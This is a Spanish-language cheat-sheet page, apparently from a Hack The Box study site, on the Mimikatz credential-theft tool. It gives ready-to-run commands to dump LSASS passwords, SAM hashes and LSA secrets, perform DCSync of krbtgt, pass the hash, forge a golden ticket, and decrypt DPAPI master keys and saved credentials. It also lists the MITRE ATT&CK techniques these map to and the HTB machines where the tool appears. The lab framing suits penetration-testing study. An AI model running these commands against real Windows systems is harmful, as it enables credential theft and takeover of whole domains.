Mimikatz
Mimikatz necesita privilegios de administrador (o SeDebugPrivilege) y Defender lo detecta al momento, así que en máquinas modernas se usa más pypykatz sobre un volcado de LSASS o los módulos de NetExec. Aun así, sus módulos son la referencia para entender qué credenciales guarda Windows.
- Plataforma
- Windows
- Web oficial
- github.com/gentilkiwi/mimikatz
- En HTB
- 7 máquinas
Instalación
# Binarios en https://github.com/gentilkiwi/mimikatz/releases (pypykatz en Linux: pipx install pypykatz)- T1003.001 Memoria de LSASS
- T1003.002 Base de datos SAM
- T1003.004 Secretos LSA
- T1003.006 DCSync
- T1555.004 Administrador de credenciales de Windows
- T1550.002 Pass the hash
- T1558.001 Golden ticket
- Volcado de SAM/LSA/LSASS
- DCSync
- Credenciales guardadas / DPAPI
- Pass-the-hash / ticket
- Relaciones de confianza entre dominios
Chuleta de Mimikatz
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Credenciales
Contraseñas y hashes de LSASS
Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Hashes de SAM
Víctima
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
Secretos LSA
Víctima
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
Leer un volcado de LSASS en Linux con pypykatz
pypykatz lsa minidump lsass.dmpDominio
DCSync de krbtgt
Víctima
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Pass the hash (abre un proceso con esa identidad)
Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"
Golden ticket
Víctima
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"DPAPI
Descifrar la masterkey con la contraseña del usuario
Víctima
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Descifrar una credencial guardada
Víctima
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"Ningún comando coincide.
Máquinas de HTB donde se usa Mimikatz
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Mimikatz. El enlace ▶ salta al minuto de esa parte.
- Fuzzing de vhosts y subdominios
- Credenciales por defecto
- Deserialización insegura
- Inyección de comandos
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Criptografía débil o casera
- Backups y archivos comprimidos
- Credenciales guardadas / DPAPI
- AppLocker y Constrained Language Mode
Guías que usan Mimikatz
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.